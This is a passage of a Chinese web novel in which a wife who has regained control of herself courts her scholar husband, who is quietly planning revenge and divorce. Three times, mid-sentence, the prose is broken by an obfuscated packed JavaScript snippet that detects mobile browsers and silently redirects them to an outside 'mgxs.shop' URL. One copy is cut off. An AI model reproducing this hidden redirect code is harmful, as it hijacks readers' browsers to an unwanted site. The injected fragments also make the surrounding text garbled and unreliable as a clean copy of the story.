好景不长,崔老爷身陷“文字狱”,被帝王赐毒酒一杯,没收所有钱帛,就连远在蔚州落霞镇的荒废祖宅都不放过。没过多久,陆老爷不知是不是心灰意冷还是有所忌惮,辞官回了老家蔚州落霞镇,陆家祖辈世代行医,祖产是一座天行医馆,陆老爷辞官回来后干回了祖辈的老本行,他医术精湛,经商不比从仕差。 可怜了崔老夫人和年幼的崔寂恨,二人虽没因崔老爷连坐丧命,可京城的崔府没了,祖籍落霞镇的祖宅也没了,沦落街头,还是陆老爷听闻后匆匆赶过去,将母子二人接回了陆府。陆老爷的意思是他与崔老爷是至交,如今崔老爷死了,他们母子二人又举步维艰,便想他们直接住在陆府上,但崔老夫人拒绝了。 崔家身份敏感,与谁呆久了都是害别人,她坚决带着崔寂恨去别处谋生,最后来到了离落霞镇不算太远的左家村里,一住就是十余年。 只不过落霞镇与左家村毕竟隔着路,所以崔寂恨和陆晏奚那会儿见面次数很少,不比原先在京城时常走动。后来,他们长大了,一同进入落霞镇上的兰芷书苑读书,本就有年少情谊的基础,很快就重新熟悉起来,成了同窗好兄弟。 只可惜三年前崔寂恨错过乡试、又没钱继续去学堂读书后,交集一下子少了,甚至都能说是绝交。 说起来,他们二人绝交还是因为“她”。 这个“她”,指的是当时没有任何自主意识,被剧情坑得四处干坏事的孟訾鸢。 三年前,孟訾鸢嫁给崔寂恨没多久,她偷了崔寂恨为乡试准备的盘缠,崔寂恨无法重新筹钱,这才错过乡试;后来她又胡搅蛮缠、以死相逼不准崔寂恨去学堂读书,要他在村里写字为生,赚的钱拿去给她做新衣裳。 此行真是可恶! 陆晏奚因此对孟訾鸢没什么好感,觉得她鼠目寸光,悍妇一个。他劝崔寂恨继续上学,可崔寂恨以家贫再经不起折腾为由拒了,陆晏奚怒其不争,甩袖离去,从那之后,同窗兄弟再没说过一句话。 孟訾鸢猜不透他今日突然找她是作甚。 “弟妹近来可安好?”陆晏奚双手作揖,一袭青衣端方雅正。 “陆公子找我有事?”孟訾鸢还了个礼。 陆晏奚有些意外几年不见她竟变得知礼了,不过想起今日前来的目的,有些局促,“我来找暮春说话,去了趟崔家却发现你们二人都不在,于是在村口等着。” “你不是与我夫君已断交三载,怎么突然要找他说话?” 陆晏奚有些尴尬,“是我当年小孩子心性,被爹娘宠惯了不懂得换位思考,没有考虑崔家和暮春当时的难处……”当年绝交后他很后悔,可是又拉不下脸来致歉,于是真就这么断了。 可如今第二次乡试在即,他不忍崔寂恨再次错过,终于放下了所谓的面子,亲自找来左家村,想要说服孟訾鸢,让她不要再阻碍崔寂恨考取功名。 为此,他准备了一箩筐的话,“暮春聪颖睿智,莫说镇上就是方圆数百里也没有人越过他去,他日必定高中榜首,是居于庙堂的经世之才。弟妹,暮春若是平步青云,你也跟着享尽荣华富贵不是,你能否别再阻止他去乡试了?” “谁说我要阻止了。”孟訾鸢一句轻飘飘的话抛了过去。 陆晏奚怔了怔,错愕了半天才反应过来,激动道:“弟妹的意思是,你同意暮春与我一同去学堂读书,一同去江南贡院参加乡试?” 孟訾鸢疑惑,“你也去乡试?” 提到这事,陆晏奚不好意思地展开折扇挡脸,“我与暮春绝交后去天香楼买醉,一不留神摔了脑袋,昏睡了好些天,等我醒来考试早已结束。” 合着两人一个都没去成。 孟訾鸢憋住笑意,清清嗓子,“你的话我会与他转达的,只是去不去都是他自己的意愿。” “多谢弟妹,若是暮春应了,就让他尽早去镇上的学堂找我,他耽误了三年,得抓紧温习。”顿了顿,陆晏奚看了一眼孟訾鸢,又很快移开,“若是盘缠不够尽可来找我,天行医馆已度过最艰难时,如今经营稳定,些许碎银我还是拿得出手的。” 这是怕她又偷偷摸摸把崔寂恨的盘缠花了。 孟訾鸢:“……” - 晌午的太阳紧得很,地里干活的汉子一个个去到树脚下乘凉,唯有崔寂恨蹲在堤坝上,仍执着镰刀割草。 读书人与纯种庄稼的最大不同,大概在于,天一热种庄稼的汉子就赤裸着上身,黄皮肤上布满汗水,油光蹭亮的,而崔寂恨不论多炎热的天气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498131|202606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不曾脱过一件外袍,时刻注意仪容,他肤色也天生冷白,怎么都晒不黑,最多脖颈处呈现过度暴晒的贲红色。 到了吃午饭的时候,崔寂恨回了家。 走到篱笆院外,就看见灶房烟囱升起袅袅炊烟。 崔寂恨脚步停了停,推开篱笆门进去,走到院中闻见一股肉香。 孟訾鸢正好端着碗出来,见他归家,明媚一笑,“夫君你可算回来了,我还打算你再不回来我就去地里送给你吃呢。” 她三两下把饭菜上齐,自己坐在崔寂恨的对面,“饿了吧,尝尝我做的炒牛肉,”她殷勤地夹了一筷子过去,“按你的口味做的,一点都不辣。” 崔寂恨垂眼盯着白米饭上的一片牛肉,“鸢儿辛苦了。” “你先吃。”他夹起那块牛肉递到孟訾鸢嘴边。 这是怕她下毒吗? 孟訾鸢倾身过去,乖顺地咬住牛肉咀嚼,然后当着崔寂恨的面吞下。男人勾起唇角,这才给自己夹了一片,品尝了几下道:“好吃,为夫不知鸢儿竟还会做饭。” 成亲三年孟訾鸢别说做饭,热水都没煮一锅,问就是不会。她尴尬地牵了牵唇角,不知如何解释并非她所愿,只好生硬地扯开话题,“我今日碰见了陆少爷,他让我带些话给你。” 崔寂恨饮了口水,“何处碰见的?” “村口卖牛肉的地方。” “陆兄让你带什么话给我?” 孟訾鸢扒了一小口饭,“乡试的事。” “嗯,”他没什么反应,“你拒了便是。” “我没拒。” 崔寂恨皱了皱眉心,眼神不解地望向她,孟訾鸢放下碗筷,借机在他面前讨一波大大的好感,“夫君,之前是我眼界狭隘了,你聪颖睿智,是难得的读书能人,我应该鼓励你去读书科考。” “这次的乡试,你和陆兄一起去吧,”她歪着脑袋笑,“我在家中等你金榜题名。” 崔寂恨眼中没有半点波澜,“可鸢儿不是说,我若是去读书,你就上吊给我看吗?” 孟訾鸢险些一口饭喷出来,“……” “那都是戏言,夫君莫要当真,在鸢儿心里,夫君是最厉害的人,他日必定高中榜首,位极人臣。”最后四个字她说得极慢,语气笃定,仿佛她早已窥见他头戴乌纱,身着正红官袍,站在朝堂睥睨天下的模样。 崔寂恨眼神深了深,“鸢儿就这么笃定我能考上?” “嗯。”她重重点头。 “为何?” 孟訾鸢趁势卖乖,“因为暮春生得就是人中龙凤之姿。” 她一边殷切地位崔寂恨夹菜,一边溜须拍马,“日后做了官一定温润如玉,仁厚宽和。” 实则佛口蛇心、暴虐成性。 “整个朝堂都以夫君为首。” 就连登基十余年的皇帝都被他拉下龙椅,饮血啖肉报仇雪恨。 “至于我,也有好日子过嘛。” 被他亲手灌了一杯毒酒,穿肠烂肚,不得好死。 “这样的好日子谁不欣羡呀,”孟訾鸢眨着圆圆的杏眼,莹亮澄澈,像夜空中坠着的两颗闪亮繁星,“鸢儿也盼着呢,望暮春这回乡试拔得头筹,听说第一名解元还能得朝廷赏银五十两呢!这都够咱们去镇上置办一处好宅子了,不用窝在山沟沟里,你去学堂读书不用再走泥泞山路了。” 我跑路也更方便了。 孟訾鸢想想就笑得特别甜。 崔寂恨将她脸上变幻的表情尽收于眼底,不像是作假,反倒有几分真心实意,他意味不明道:“鸢儿最近变了不少。” “是吗,那是变好还是变坏?” 崔寂恨如实道:“变好。” 孟訾鸢:“……” 好吧,先前被控制时的确很坏。 “那夫君喜欢吗?”孟訾鸢双手捧着下巴,双眼亮晶晶的。 “喜欢。”男人的情话信手拈来,即使他前不久日日夜夜都想掐死她。 5. 抄书 距离乡试的时间不远了,决定去参考后,崔寂恨便于第五日重返学堂温习。崔家只他一个男子,就算去上学,也得把里里外外的活儿干完了,处理这些就花了四天。 孟訾鸢这四天也没闲着。 之前她为了阻止崔寂恨读书居然把他的书当柴火烧了,要知晓在贫寒人家里,一本书有多么珍贵,多少人为了读书不惜冒着寒冬用手誊抄,抄完后手指得了冻疮红肿溃烂。崔寂恨的那几本书还是崔老夫人在世时省钱为他买的,却被她这么霍霍了,想想孟訾鸢就心疼。 只是那时她也身不由己,无法阻止。 如今得想办法补救一下。 左家村有个花甲之年的老夫子,年轻时也是个秀才公,不过乡试之后屡屡落榜,家底掏空了没再去考试,留在村里当夫子,村子里的孩童都是放在他那儿学认字。不过村子里嘛,都是下地干活的,没几个人想要自己的孩子念书成才,在老夫子那儿认字也就图会写写自己的名字,不至于将来去镇上做生意大字不识被骗了,正是因为如此,没几个认真念书的学生,老夫子后面就不教书了,改成帮村子里的人写字,写一张赚几个铜板,后来他年纪大了,写不动了,这活儿就落到了崔寂恨身上。 虽说老夫子年岁已高,但孟訾鸢觉着,过去那些科举的书,他应该还是留着的,就是不晓得他愿不愿意借。 孟訾鸢去了老夫子的家,问愿不愿意借书,老夫子一听,果然拉下脸来,“书是给男子读的,你个妇人要什么书,糟蹋宝贝!” 孟訾鸢顿时有些无力,她是读过一些书、认得一些字的。 在人牙子手里颠沛流离的日子里,因为她脸生得好看,人牙子想将她培养成琴棋书画样样都通一点的瘦马,这样才能入得了那些达官贵人的眼,实在不行,卖到青楼为妓也能换个高档价钱。只是琴棋画这三样费时费力还费钱,没有读书写字那样方便,于是人牙子只让孟訾鸢看看书、认认字,不过为了图省钱,都是让她自己摸索,是以学得散而乱,字也写得像狗刨。 孟訾鸢放低姿态,“夫子,我是替我夫君借的,他几日后要去镇上的学堂读书了。” 老夫子是认得孟訾鸢,冷哼一声,“崔相公原先上过学,怎会没有书,还不是你这悍妇一把火烧了,如今还想来借我的书,莫不是也想一把火烧了,休想!” 孟訾鸢无奈,“我不借走,只誊抄可否?” “你认得字?” “认得一些。” “会写?” “会的。”就是写得不太好看。 夫子脸上闪过一丝意外,嘴上念叨女子无才是德,但听闻孟訾鸢读过书,脸色还是缓了缓,“想誊抄可以,须你来抄。” 知晓他是刻意为难,孟訾鸢也不退缩,一字一顿:“好,我来抄。” 老夫子冷哼一声,甩袖进屋,“四日为限,你抄多少算多少,时限一过莫要再叨扰老夫清净。” 这算是松口了,孟訾鸢感激道:“谢谢夫子。” 老夫子家里的确有书,但均因时间过长而泛黄破旧,有的堆在潮湿角落发了霉,一碰纸张就哆哆嗦嗦要碎的模样。孟訾鸢全程小心翼翼地捧着书,生怕弄坏了惹夫子生气,读书人总是视书如宝的。 她花了上回剩下的三十个铜板,向老夫子买了纸笔和旧墨水,在他后院一张瘸了腿的木桌上誊抄。 后来的四日,孟訾鸢几乎都是在木桌上度过,清晨崔寂恨一出门干活,她就马不停蹄地来老夫子家抄书,忙得午饭都来不及吃,太阳落山了再赶回去。几天下来,手腕抄得发酸发麻,到最后一日时已经肿了一大圈,动一下都疼。 不过好在总算抄完了一本最重要的。 孟訾鸢松了口气,摊开书在阳光下晾晒,老夫子默默在一旁看着,这四日下来,他将孟訾鸢的耐心看在眼里,对她的印象转变许多。他摸着胡须问:“抄完了?” 孟訾鸢微微颔首,“章句集注抄完了。” 约莫数万字的篇幅,她竟真的仅靠一只右手在短短数日全部抄完,此等耐心放在任何一人身上都是上等的品德。 ……就是字丑了些。 不过会写已是难得,夫子没多为难孟訾鸢,认可地点头,“不错,剩下的几本书你拿回去抄吧。” 孟訾鸢愣了愣,“您准许我不受时限带回去接着抄?” “要抄就抄,不抄作罢。”老夫子拉不下脸说好听的话,可在孟訾鸢看来,已是莫大的善举,她站起身来行个大礼,“夫子借书之恩,訾鸢铭记在心。” - 回家的路上,孟訾鸢走路都是轻飘飘的。 崔寂恨缺书,她就抄书,在他为买书而烦忧时,她再及时把书赠上,以示她对他的拳拳心意。 这总能感化一些吧。 虽然知晓崔寂恨冷淡疏离的性子,孟訾鸢还是预先在脑海里想象崔寂恨在她赠书时的反应,稍后好做应对:是似笑非笑地对她言谢,还是搂住她的肩虚情假意地说情话…… 走到崔家篱笆小院边,还未进去,先听见一道声音:“她肯定是趁你不在找李铁匠去了!明晓得你这几日忙,就钻了空子去见情郎,等你去了镇上读书十天半个月才回来一次,那还得了?” 孟訾鸢停下脚步,朝里张望,这一看不得了,口口声声说她不老实的葛月茹拽着她夫君的袖子,与崔寂恨拉拉扯扯,“我说的都是实话,这些天孟訾鸢每天一早就去了李铁匠那儿,天黑才回来,衣服皱巴巴的,而且人疲倦没精神,她定是背着你作出不地道的事来了。” 老夫子的家在李铁匠后头,是村里最偏僻的地方,自从学堂关闭后嫌少有人去,葛月茹跟踪她不敢靠那么近,下意识认定她去的是李铁匠家,还忍到崔寂恨去学堂前一天才来告状,是打算引崔寂恨发怒,休了她。 孟訾鸢抬了抬下巴,不恼反笑,“我做了什么不地道的事你倒是说说?” 闻言葛月茹一惊,忙松开了崔寂恨的袖子,躲在男人背后。 看样子倒像是她受了委屈。 “说啊,怎么当着我的面又不敢说了?”孟訾鸢问。 葛月茹憋了憋,“我有什么不敢说的,你趁着崔相公不在家去找野男人,村里不止我一人看见。” 孟訾鸢看了一眼崔寂恨,男人也正眉眼淡漠地审视她,像是在观察她有无异样,判断葛月茹所说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“你辛辛苦苦抄的书怎可烧了,你舍得,为夫舍不得。”崔寂恨握住她的右手,指腹刚圈住那块皮肤就察觉不对劲,他低睫一瞧,纤细柔弱的手腕肿得老高,仔细看还发着抖,“手腕肿了?” 他皱了皱眉,俯首贴近,用唇吹了吹,“疼不疼?” “不疼!”她赌气道。 “胡说,你平日身子骨弱,却为了我连日抄书,手腕肿成这样怎会不疼。”崔寂恨温柔地亲了亲她的手腕,“怪我,身为鸢儿的枕边人连这点小事都没发现,是为夫的失责。鸢儿要是恼了,就打我骂我消消气?” “谁说为了你,我就是去找野男人了,就是。”她委屈地红了眼,极致矫揉造作地捶他胸膛。 崔寂恨任她打骂,十足的好夫君模样,“我惹鸢儿生气了,该打。” 孟訾鸢靠在他怀里,顺杆爬:“勉强原谅你了。” 崔寂恨擦去她脸上莫须有的泪痕,“有了鸢儿誊抄的书,为夫温习都有力气了,定不辜负你的一番苦心。” “夫君记住鸢儿的好就够了。”窝在男人怀里的孟訾鸢表情冷静理智,估计着这一回能换得崔寂恨多少怜惜。 而在她看不见的地方,崔寂恨面无表情。 6. 真面目 翌日天一亮,崔寂恨准备出发去镇上的学堂,平日这个时间,孟訾鸢多半没醒,今日却早早地穿戴好衣裳,“我送你一程。” “外面下了秋雨,你风寒才好,还是待在家中。” “不嘛,我就要送你。”孟訾鸢娇娇地嘟囔一句,梳妆的动作更快了,三两下弄完站在崔寂恨跟前,柳眉杏眼,翘鼻红唇,身形曼妙又不失丰腴肉感,细腰盈盈一握,含羞带怯地抛去一个眼神,像个勾人摄魄的尤物。 对于自己的样貌,孟訾鸢还是有几分信心的。 一个女人,有时皮囊是最好的利器,能够最快速度达到自己想要的目的,即便对方是崔寂恨。 反正都是男人。 都一样的劣根性。 她既想感化崔寂恨,勾引是免不了的。 学堂十天才有一次假,那么长时间的冷静期,孟訾鸢无法保证她好不容易挤出来的那点“好感”,会不会被忙着读书的崔寂恨遗忘,毕竟男人最是冷血无情,穿上裤子就翻脸不认人的事也不是没听说过,届时他脑海里若是依旧只有对她的恨,那她这些时日的努力岂不白费? 孟訾鸢要杜绝这种可能。 她到底不是未经人事的青涩姑娘,懂得男人骨子里什么德行,送上门来的他不屑一顾,爱而不得的反而时时挂念。 只有给他尝到一些甜头,在最关键时刻又戛然而止,让那点甜头成为一个钩子,时不时在崔寂恨心头作祟,饮水吃饭、读书写字还是午夜梦回时……可能在任何时间、任何地点记起她。 不强烈但有存在感。 男人就是得吊着胃口才行。 孟訾鸢轻声细语的:“夫君,我送你出去吧,一会儿雨下大了不好走路,我会担心你的。” “不急。” 她怔了怔,晃神间崔寂恨走到她跟前,男人比她高出许多,这个贴近的姿势完完全全地将她罩在其中,他抬手轻抚过她的侧脸,细小的绒毛微微战栗着,她人也跟着发抖,像发了春的猫儿,崔寂恨居高临下地看着她,似笑非笑地说:“鸢儿真美,为夫看着都舍不得走了。” 她欲拒还迎地用手抵住他的胸口,故作为难地说:“你马上就得启程去镇上学堂了,可不能胡来,要是去晚了,陆公子会在学堂等着急的。” “让他等,都等了三年,不差这一天。” 孟訾鸢嗔他一眼,小脸陀红,垂着眼等下一步。可是等了许久也没见崔寂恨贴过来,她蹙了蹙眉,心想难不成色诱失败了,就在这会儿男人的手抚上她的腰身,暗示的意味十足,他低头凑近她的耳畔,温热的呼吸打过去,引起一阵酥麻痒意,“就是不知许久未行房,鸢儿受不受得住?” 孟訾鸢柔柔道:“讨厌,白日里说什么胡话。” 崔寂恨将她搂紧,身子压下来,孟訾鸢找准时机一把推开他,男人的唇瓣贴着她的侧脸擦过,一触即分。她拍了拍弄皱的裙摆,拿起一旁的油纸伞,率先走出去,“夫君当下最要紧的事是回学堂温习,其余的事等你回来再说吧。” 雨珠滴滴答答,屋内一片寂静,倩影消失的那刻,崔寂恨眸中的笑意转瞬消失,用手掸了掸身上的衣服,像是要掸去沾染的恶心东西,然后才神色冷漠地跟了出去。 - 兰芷书苑是落霞镇最大的学堂,里面设有山长,即兰芷书苑的主创人;另设堂长,即管制书苑日常琐事;其余便是是个夫子,均是教习学生经史、诗词、书法等不同领域。 此外书苑又分鹤鸣、青云、云岫三处学舍,其中以鹤鸣为首,里面就读得大都是官家子弟,亦或才能出众之人。青云书舍则多是商贾之后,至于最末等的云岫书舍,里面全是出身贫寒的庶人之子,譬如家道中落的崔寂恨。 陆晏奚出身商人之后,在二等的青云学舍读书,听闻崔寂恨来了书苑,第一时间赶了过来,“崔暮春。” 崔寂恨坐在最阴暗的角落处,前听不见夫子声,后照不到烛光,闻声起立,对陆晏奚鞠了一躬,“陆兄,好久不见。” 这声招呼怎么听都觉得有些阴阳怪气,陆晏奚“唰”得一声展开随身携带的青色折扇,扇面上写着“风流倜傥”四个大字,恨不得闪瞎所有人的眼睛,他慢悠悠地晃了晃扇子,“你我二人是什么关系,你就跟我故意演这出不熟的戏码?崔暮春,你是不是还记仇呢,小肚鸡肠非君子。” “我本就非君子。”崔寂恨不冷不热地说。 “看看,看看,三载过去你这张嘴还是不饶人,一说话就能把人气死,也难怪弟妹与你日吵夜吵,书都给你烧了。”不见面时陆晏奚牵肠挂肚,见着面了又开始互相揭短。 “陆兄也好不到哪去,三载过去,还是惹人生厌。” “你就是厌死我你接下来也得跟我一同上学。”陆晏奚笑得狡黠,吊儿郎当地用手环住崔寂恨的肩膀,一副风流公子哥儿的做派。 三年过去,这纨绔毫无长进,崔寂恨抖落他的手,“青云学舍这时不是正在上课,你怎有空来我这闲话。” “老匹夫的书法课,我最是厌烦,我的字不用练,全天下第一。” 崔寂恨:“第二。” 陆晏奚:“为何?” 崔寂恨淡淡道:“我来了。” 陆晏奚:“……不要脸。” “对了,你要不随我去堂长那儿说说好话,把你调去青云学舍吧?”陆晏奚嫌弃地打量着黑漆漆、阴沉沉的地方,又看回崔寂恨快被挤到角落的桌椅,“你可是兰芷书苑的第一才子,在这儿温习岂不是委屈了你。” “又不是黄花姑娘,委屈什么委屈。” “可你要是去了青云书舍,夜间咱俩还能一同回苑舍睡觉,你要是待在云岫,我得天天跑着来找你,多累啊。”他闲哉哉地说。 崔寂恨烦他,“你又不是我娘子,我作甚要与你一起。” 陆晏奚“啪”地一下合起折扇,敲了敲掌心,理所当然道:“但我是你同窗好兄弟啊!” 为了彰显兄弟情义,陆晏奚拿出一直背着的包袱,摊开在桌边,里面是几本新书,“我知晓崔家的处境,也晓得你家中还是娘子要养,怕是买不起新书,我特地为你准备的,如何,兄弟情真挚否?” 崔寂恨目光落在几本书上,良久问:“算是我借的,日后还你。” “随你随你。”陆晏奚早就了解崔寂恨不欠人情的性子,懒得跟他掰扯,想起什么道,“你今晚就要住在苑舍了,被褥什么的你得去找堂长拿,去晚了可得光着睡觉啊。” “嗯。”崔寂恨起身要走。 陆晏奚正欲与他一起前去,刚抬脚,余光瞥见一抹暗黄色。他折返回崔寂恨的书桌,扒开包袱,里面露出一本旧书,纸张泛黄陈旧,摸上去还有一种潮湿感,上面的字迹却是新的,看上去不超过半月。 “哪儿来的书,谁誊抄的?”陆晏奚嘀咕,“这字也太太太丑了!” 崔寂恨目光落在陆晏奚摩挲书页的指腹上,一种私人物品被侵犯的威胁油然而生,脸色冷了冷,“放下。” 陆晏奚奇怪他何来的怒意,“碰也碰不得?又不是什么宝贝,一本字奇丑的破书而已,我还给你买新书了呢。” “你碰不得。”崔寂恨从他手里夺下书籍,用自己的衣袖擦去上面沾染的浮灰以及别人的味道,反复擦拭数遍,直至他的气味再次覆盖才停下来。 陆晏奚嫌弃他的龟毛,问:“到底哪来的?” “捡来的。” “怪不得这么破。”字也奇丑无比。 - 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498133|202606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >在学舍读书温习的日子,远离世俗的喧嚣,恬淡清净。 前几日是由夫子讲授诗赋文学,今日主要讲授四书五经和史书策论,崔寂恨将便于理解的汇总集注拿出,正欲翻开,手顿住,过了会儿把书重新合上,去桌肚下把孟訾鸢誊抄的那本拿出来。 只是扑了个空。 他将桌肚存放的书籍尽数取出,数了数,果真少了一本。 孟訾鸢誊抄的集注不见了。 夫子在上方已开始讲授解惑,口中念念有词,突然声色俱厉,“崔暮春,讲学的时候你走什么神?退学三载,如今重回学堂不知道一心一意的温习,竟还神游,莫不是不想念了,想接着回家种田去?” 刹那间屋子里哄堂大笑。 “听说他成亲了,成了亲的男人一旦开荤,就做不到清心寡欲的读书了,我看啊,他是想媳妇了。” “想哪儿啊?” “自是‘轻拢慢捻抹复挑’了……” 几个早就熟悉房事的男人窃窃私语,笑得极尽猥琐。 这话被上面的夫子听了去,气得面红脖子粗:“你们几个给我住口!学堂清地,岂容你们放肆,给我抄书十遍,何时抄完何时吃饭。” 崔寂恨的视线,一一扫过学堂众人,有交头接耳的,暗地嘲讽的,还有事不关己的,唯有一个做贼心虚地低着脑袋。 “——还有你,崔暮春。” 崔寂恨掩去眸底凉薄,起身时,温吞地行礼:“学生在。” 看他如此谦逊知礼数,夫子的怒气消散了不少,态度有所缓和:“你素来专心致志,为何在讲学时走神?” “回夫子,学生的书丢了。” 丢书事小,若是失窃则事大,夫子表情严肃,“可是被人偷了?若是重要的书,你可与我前去找堂长,让他搜查。若是寻到有人做贼,定要鞭笞他行窃的那只手,再赶出学堂。” 此话一出,那人微不可查地抖了抖。 崔寂恨摇摇头,通情达理道:“多谢夫子,不过不用了,只是一本随手捡来的旧书,暮春并不在意,只是一时震惊,还是不耽误夫子与各位同窗了。” “那你坐下继续听课吧。” 崔寂恨坐下,翻开新书,认真听夫子讲学。待众人的视线一一从他身上撤离后,唇角的弧度消失,转眸看向那人,似草丛中蛰伏的毒蛇,悄无声息张开沁着毒液的獠牙,静静地等待着。 那人如有所感般缩了缩肩膀,把发抖的右手揣进袖口里。 乡试在即,兰芷书苑下设的三个学舍不仅有晨读,还有夜课,亥时前散学。 散学时夜已深了。 习了一天书的学生陆续回苑舍就寝,眨眼工夫,学堂只余崔寂恨一人。他不紧不慢地合上书册,拂了拂衣摆,起身离开学堂,但未回学舍,而是掉头去了伸手不见五指的后山。 “云岫”有山清水秀之意,正是因为学舍坐落在半山腰。 后山建有湖心亭,近可赏莲,远可关瀑布,夏夜时来乘凉的人最多,不过入了秋,夜间寒凉,就没什么人来了。 崔寂恨撩起衣袍,一步步踩着石阶上山,脚步轻得不似活人。 漆黑幽静的深山老林里,时不时响起几声诡异的鸟叫,头顶照射一束惨淡的月光,将崔寂恨的影子投在石阶上,影子缓缓移动着,像地狱里爬出的索命修罗。 他停在最后一层台阶上,目光穿透黑夜,径直看向湖心亭中的人。 “书还我。” 湖心亭中正欲抛书的人一颤,神色惊恐地回头,发现崔寂恨不知何时已经站在他身后,白日里温文尔雅的君子,此刻眼神阴鸷,面容森然,“可以让你死得痛快些。” 那人毛骨悚然地愣在原地,原来这才是他的真面目。 7. 勾引 “人去哪儿了?”陆晏奚在云岫学舍找了一圈都没发现崔寂恨的影子,索性放弃,打算独自回苑舍休息时,远远地窥见一道熟悉的身形,走近了,发现正是崔寂恨。 “暮春!”他老远就挥手,而后埋怨地疾步上前,“你去哪了,四处寻你不到。” “后山喂了只野狗。” “野狗?”陆晏奚惊了惊,“后山还有野狗呢,你是如何发现的,居然还敢去喂,也不怕它咬你。” 崔寂恨掸了掸手中的书,“他叼走了我的书,我去拿回来,看他饿得饥肠辘辘,于心不忍,就将身上的干粮喂给他吃了。” 陆晏奚失笑地摇摇头,“让我说你什么好,你就是太仁善宽厚了,一只野狗都舍不得。” “对了,过两日就休沐回家了,高不高兴?”想到这陆晏奚就笑得合不拢嘴,展开长扇,回味美酒与美人起来,“待我回去,一定先到天香楼转转,阿春捶肩的手法是最好的,不轻不重,阿夏最会唱歌,一开口声儿比黄鹂还脆,阿秋也不差,身上不知抹了什么粉,清香勾人……” 陆晏奚在一边回忆他三个不分伯仲的相好,崔寂恨在一边面不改色地听着,半晌淡淡吐出两个字:“纨绔。” 陆晏奚道:“纨绔有什么不好,我就爱当纨绔。” 与兰芷书苑旁的学生不同,陆晏奚是来混日子的,他不求功名,反正陆家的天行医馆日后会交到他手上,偌大的产业一辈子都不用愁。他之所以来兰芷书苑读书,是因为太过纨绔,年纪小一些的时候不是上房揭瓦,就是趴地斗蛐蛐,再长大一些就开始寻花问柳,成为了周边青楼的座上宾,还未成亲呢,家中就已经抬了五个通房,六个姨娘,后院天天吵得跟打仗一样。 陆老爷一世洁身自好,陆家门风也素来严谨清正,没想到出了陆晏奚这么个纨绔子,陆老爷一气之下就把他送进了兰芷书苑,希望书苑清规戒律能让这个逆子修身养性、陶冶情操,至于功名不功名的,陆老爷就不指望了,重在参与嘛。 陆晏奚可谓是落霞镇第一纨绔,美女美酒那是美不胜收,他忽然好奇道:“暮春,你以后可会纳妾?” 崔寂恨:“不纳妾。” 休妻。 将来进入官场,步步为营,想要站稳脚跟,必少不了一位在外上得了台面、在内帮忙拉拢人心的夫人。这样的位置,需要一位身份尊贵的世家女子,孟訾鸢一个乡野村妇显然不配。 陆晏奚点点头,“想想也是,听说弟妹可是左家村第一悍妇,你要是敢纳妾,她不得与你拼命,没准一个气不过,给你碗里下毒哈哈哈哈哈。” 崔寂恨睨他一眼,“我的家事就不劳陆兄操心,陆兄还是管好你自己的亲事吧。” 提到这,陆晏奚立马变成霜打了的茄子,“不提,不提。” - 转眼十日过去,到了崔寂恨休沐的日子,兰芷书苑休沐假期为三天,除却来回赶路的时间,崔寂恨能在家里待上差不多两天。 孟訾鸢这十天过得还算平静,葛月茹因为上回的事不敢来找她麻烦,村子里其他的人更是忙着农耕话都说不上一句,她成天待在家里抄书。 老夫子没再设时限,孟訾鸢也不急,十天过去才抄了半本,字迹还略显潦草,不过她不在意,本来就只是做做样子给崔寂恨看。 估摸着崔寂恨差不多要走到左家村的村口,孟訾鸢放下纸笔,望着灰蒙蒙的天,雷声滚滚,她扬了扬眼尾,真是天赐良机,又是一个能够挣崔寂恨好感的机会。 她只带一把油纸伞出门。 另一边,崔寂恨如孟訾鸢预料,已经走到了离村口不远的位置。 回村的路泥泞难走,有时表面是绿草丛,实则一脚踩空落入土坑,加上阴雨天容易起雾,傍晚太阳一落山,视线更为朦胧模糊。崔寂恨回家的步伐走得很慢,又走了几步后,豆大的雨珠落在脸上。 一滴、两滴、三滴…… 秋雨越落越快,越落越大,不出几步路的工夫,崔寂恨身上洗得泛白的蓝袍被雨水晕湿成了深蓝色,乌黑的墨发凌乱得黏在下颌边,看起来有些狼狈,然而他脸色漠然,仿佛是一个感受不到任何痛苦的死物,只知道麻木冷血地前行。 遽然间,他脚步顿住,一潭死水的眸光也在那刻掀起一丝微波。 雨雾朦胧中,一道清瘦身影朝他走来。 孟訾鸢左手撑着油纸伞,右手提着裙摆,鞋底踩过水洼,周遭溅起一片细小的水花,她抬眼看过来,扬起唇对他笑了一下,化开秋雨的凉意,“夫君,我等你很久了。” 她微微踮脚,将伞面遮过他的头顶,挡去一切风雨。周遭在这一刻骤然安静,耳边只有雨珠敲打在伞面的声响,滴答滴答。 崔寂恨垂下眼,浓密的鸦睫上坠落一滴小水珠,“不是让你在家等我回去吗,怎么一个人跑出来了?”他褪去自己湿透的外衫,将中间略微干燥的一层衣衫也剥了下来,披在孟訾鸢的肩膀上,俨然一副贴心夫君的典范,“你身子弱,淋了雨容易生病,一点也不乖。” 